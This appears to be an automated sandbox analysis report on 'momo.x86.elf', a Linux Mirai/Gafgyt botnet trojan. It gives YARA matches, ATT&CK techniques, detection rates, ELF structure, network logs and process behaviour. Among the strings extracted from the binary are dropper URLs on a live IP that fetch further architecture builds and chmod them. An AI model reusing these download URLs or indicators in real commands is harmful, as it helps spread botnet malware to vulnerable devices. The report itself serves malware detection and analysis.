Source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: Process Memory Space: momo.x86.elf PID: 6219, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: momo.x86.elf PID: 6221, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal68.troj.linELF@0/0@0/0

Source: /tmp/momo.x86.elf (PID: 6220)	Directory: /tmp/.			Jump to behavior
Source: /tmp/momo.x86.elf (PID: 6220)	Directory: /tmp/..			Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: momo.x86.elf, type: SAMPLE
Source: Yara match	File source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: momo.x86.elf, type: SAMPLE
Source: Yara match	File source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6219.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
momo.x86.elf	66%	ReversingLabs	Linux.Trojan.Mirai
momo.x86.elf	58%	Virustotal		Browse
momo.x86.elf	100%	Joe Sandbox ML

Name	Source	Malicious	Reputation
http://123.253.61.116/fuck/momo.arm7;chmod	momo.x86.elf	false	unknown
http://123.253.61.116/fuick/momo.x86	momo.x86.elf	false	unknown
http://123.253.61.116/fuck/momo.mips;	momo.x86.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	momo.x86.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	momo.x86.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1.1.1.1	6fW0GedR6j.xls	Get hash	malicious	Unknown	Browse	1.1.1.1/ctrl/playback.php
	PO-230821_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.974dp.com/sn26/?kJBLpb8=qaEGeuQorcUQurUZCuE8d9pas+Z0M0brqtX248JBolEfq8j8F1R9i1jKZexhxY54UlRG&ML0tl=NZlpi
	AFfv8HpACF.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
	INVOICE_90990_PDF.exe	Get hash	malicious	FormBook	Browse	www.quranvisor.com/usvr/?mN9d3vF=HHrW7cA9N4YJlebHFvlsdlDciSnnaQItEG8Ccfxp291VjnjcuwoPACt7EOqEq4SWjIf8&Pjf81=-Zdd-V5hqhM4p2S
	Go.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	unix.x86.elf	Get hash	malicious	Mirai	Browse
	main.sh4.elf	Get hash	malicious	Mirai	Browse
	fuckunix.arm7.elf	Get hash	malicious	Mirai	Browse
	Space.spc.elf	Get hash	malicious	Mirai	Browse
	main.mpsl.elf	Get hash	malicious	Mirai	Browse
	z0r0.arc.elf	Get hash	malicious	Mirai	Browse
	main.x86.elf	Get hash	malicious	Mirai	Browse
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse
	Space.arm7.elf	Get hash	malicious	Mirai	Browse
	Space.arm.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	unix.x86.elf	Get hash	malicious	Mirai	Browse
	unix.arm5.elf	Get hash	malicious	Mirai	Browse
	main.sh4.elf	Get hash	malicious	Mirai	Browse
	fuckunix.arm7.elf	Get hash	malicious	Mirai	Browse
	Space.spc.elf	Get hash	malicious	Mirai	Browse
	main.mpsl.elf	Get hash	malicious	Mirai	Browse
	z0r0.arc.elf	Get hash	malicious	Mirai	Browse
	main.x86.elf	Get hash	malicious	Mirai	Browse
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse
	Space.arm7.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	unix.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	unix.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fuckunix.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main.mpsl.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fuckunix.x86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	z0r0.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	z0r0.mips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	z0r0.mpsl.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
CLOUDFLARENETUS	momo.m68k.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	172.71.176.132
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	avaydna.exe	Get hash	malicious	Njrat	Browse	104.17.25.14
	HateSpeech2024_Summary.pdf.lnk.bin.lnk	Get hash	malicious	Emmenhtal Loader, MalLnk	Browse	104.21.2.79
	paint.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	hkMUtKbCqV.exe	Get hash	malicious	Unknown	Browse	162.159.135.234
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	104.21.43.44
CANONICAL-ASGB	unix.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	unix.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fuckunix.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main.mpsl.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fuckunix.x86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	z0r0.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	z0r0.mips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	z0r0.mpsl.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
INIT7CH	unix.x86.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	unix.arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	main.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	fuckunix.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.spc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	main.mpsl.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	z0r0.arc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	main.x86.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.592423374706669
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	momo.x86.elf
File size:	76'372 bytes
MD5:	b5c86afc239c491746abbd89b191333f
SHA1:	f232d68f6004017dcf849fdaff1764b947af76d3
SHA256:	0da8e536e0ff3c4b678b84804168cb3d2bca85ae58847adfd5e9d6c3c0e213a8
SHA512:	c46977442725b8310baf16705913149625bbf0d0eef0dd61547240339de0438bb82748c882a8fc5ad267139ea9667f100adcc824cad7c5faa50c73130d462192
SSDEEP:	1536:TwYNsZOU9ab8Mb5XFZXcnDAm3f7v+whnkgdSE6OERRSL6q:TA59ab8Mb5TXc17v3nTYEZ
TLSH:	E4735CC4A643D9F6DC1246B030A7FF329A72E2B7215ADAD7E3F89573AC415029107B4E
File Content Preview:	.ELF....................d...4....(......4. ...(...................... ... ............... ..............\P..........Q.td............................U..S......../...h........[]...$.............U......=.....t..5...................u........t....h............

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	75972
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xf2b6	0x0	0x6	AX	16
.fini	PROGBITS	0x8057366	0xf366	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8057380	0xf380	0x2d00	0x0	0x2	A	32
.ctors	PROGBITS	0x805b084	0x12084	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805b08c	0x1208c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x805b0c0	0x120c0	0x7c4	0x0	0x3	WA	32
.bss	NOBITS	0x805b8a0	0x12884	0x4840	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x12884	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x12080	0x12080	6.6208	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x12084	0x805b084	0x805b084	0x800	0x505c	4.8909	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 15:25:16.573875904 CET	43928	443	192.168.2.23	91.189.91.42
Jan 5, 2025 15:25:20.554560900 CET	54512	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:20.560416937 CET	3778	54512	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:20.560554981 CET	54512	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:20.560687065 CET	54512	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:20.570574045 CET	3778	54512	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:20.570684910 CET	54512	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:20.576234102 CET	3778	54512	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:22.205183029 CET	42836	443	192.168.2.23	91.189.91.43
Jan 5, 2025 15:25:23.741023064 CET	42516	80	192.168.2.23	109.202.202.202
Jan 5, 2025 15:25:30.569556952 CET	54512	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:30.574492931 CET	3778	54512	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:38.075215101 CET	43928	443	192.168.2.23	91.189.91.42
Jan 5, 2025 15:25:41.941287994 CET	3778	54512	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:41.941514015 CET	54512	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:41.947494030 CET	3778	54512	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:42.942542076 CET	54514	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:42.947365046 CET	3778	54514	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:42.947505951 CET	54514	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:42.947519064 CET	54514	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:42.952281952 CET	3778	54514	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:42.952353954 CET	54514	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:25:42.957115889 CET	3778	54514	1.1.1.1	192.168.2.23
Jan 5, 2025 15:25:48.313894033 CET	42836	443	192.168.2.23	91.189.91.43
Jan 5, 2025 15:25:54.457068920 CET	42516	80	192.168.2.23	109.202.202.202
Jan 5, 2025 15:26:04.332417965 CET	3778	54514	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:04.332701921 CET	54514	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:04.337413073 CET	3778	54514	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:05.335163116 CET	54516	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:05.339884043 CET	3778	54516	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:05.339984894 CET	54516	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:05.340060949 CET	54516	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:05.344746113 CET	3778	54516	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:05.344806910 CET	54516	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:05.349579096 CET	3778	54516	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:19.029942036 CET	43928	443	192.168.2.23	91.189.91.42
Jan 5, 2025 15:26:26.774183035 CET	3778	54516	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:26.774523973 CET	54516	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:26.779375076 CET	3778	54516	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:27.776087046 CET	54518	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:27.780884981 CET	3778	54518	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:27.780978918 CET	54518	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:27.781050920 CET	54518	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:27.786053896 CET	3778	54518	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:27.786103010 CET	54518	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:27.790929079 CET	3778	54518	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:37.789832115 CET	54518	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:37.794660091 CET	3778	54518	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:49.161818981 CET	3778	54518	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:49.162060022 CET	54518	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:49.166904926 CET	3778	54518	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:50.163764954 CET	54520	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:50.168629885 CET	3778	54520	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:50.168723106 CET	54520	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:50.168812037 CET	54520	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:50.173552036 CET	3778	54520	1.1.1.1	192.168.2.23
Jan 5, 2025 15:26:50.173594952 CET	54520	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:26:50.178356886 CET	3778	54520	1.1.1.1	192.168.2.23
Jan 5, 2025 15:27:11.538996935 CET	3778	54520	1.1.1.1	192.168.2.23
Jan 5, 2025 15:27:11.539119959 CET	54520	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:27:11.543967962 CET	3778	54520	1.1.1.1	192.168.2.23
Jan 5, 2025 15:27:12.540049076 CET	54522	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:27:12.544856071 CET	3778	54522	1.1.1.1	192.168.2.23
Jan 5, 2025 15:27:12.544895887 CET	54522	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:27:12.544924974 CET	54522	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:27:12.549735069 CET	3778	54522	1.1.1.1	192.168.2.23
Jan 5, 2025 15:27:12.549772978 CET	54522	3778	192.168.2.23	1.1.1.1
Jan 5, 2025 15:27:12.554557085 CET	3778	54522	1.1.1.1	192.168.2.23

System Behavior

Analysis Process: momo.x86.elf PID: 6219, Parent PID: 6135

General

Start time (UTC):	14:25:14
Start date (UTC):	05/01/2025
Path:	/tmp/momo.x86.elf
Arguments:	/tmp/momo.x86.elf
File size:	76372 bytes
MD5 hash:	b5c86afc239c491746abbd89b191333f

Start time (UTC):	14:25:14
Start date (UTC):	05/01/2025
Path:	/tmp/momo.x86.elf
Arguments:	-
File size:	76372 bytes
MD5 hash:	b5c86afc239c491746abbd89b191333f

Start time (UTC):	14:25:14
Start date (UTC):	05/01/2025
Path:	/tmp/momo.x86.elf
Arguments:	-
File size:	76372 bytes
MD5 hash:	b5c86afc239c491746abbd89b191333f

Source: momo.x86.elf	ReversingLabs: Detection: 65%
Source: momo.x86.elf	Virustotal: Detection: 57%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: momo.x86.elf	String found in binary or memory: http://123.253.61.116/fuck/momo.arm7;chmod
Source: momo.x86.elf	String found in binary or memory: http://123.253.61.116/fuck/momo.mips;
Source: momo.x86.elf	String found in binary or memory: http://123.253.61.116/fuick/momo.x86
Source: momo.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: momo.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report momo.x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: momo.x86.elf PID: 6219, Parent PID: 6135

General

Chronological Activities

Analysis Process: momo.x86.elf PID: 6220, Parent PID: 6219

General

Chronological Activities

Analysis Process: momo.x86.elf PID: 6221, Parent PID: 6220

General

Chronological Activities

Linux Analysis Report
momo.x86.elf